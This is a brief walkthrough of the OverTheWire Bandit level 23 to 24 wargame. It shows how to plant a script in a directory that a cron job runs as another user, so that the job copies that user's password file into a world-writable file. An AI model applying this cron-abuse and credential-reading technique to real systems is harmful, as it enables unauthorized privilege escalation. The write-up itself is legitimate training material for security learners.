Login
SSH: ssh [email protected] -p 2220
Challenge URL: https://overthewire.org/wargames/bandit/bandit24.html
Task
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
Solution
The script will run as bandit24 and it executes all the files in /var/spool/bandit24/foo/ directory, then deletes them after a minute. We have to write a script to print bandit24's password and save it to a file so that the cron job will execute it.
mktemp -d
cd location
cat > script.shScript contents:
#!/bin/bash
cat /etc/bandit_pass/bandit24 > passwordThen:
chmod 777 script.sh
touch password
chmod 666 password
cp script.sh /var/spool/bandit24/foo/
cat passwordWait for a minute for the password to appear.
Note: If the script says "no permission" when executed manually, try changing the permissions of the temp directory so that everybody can write to it.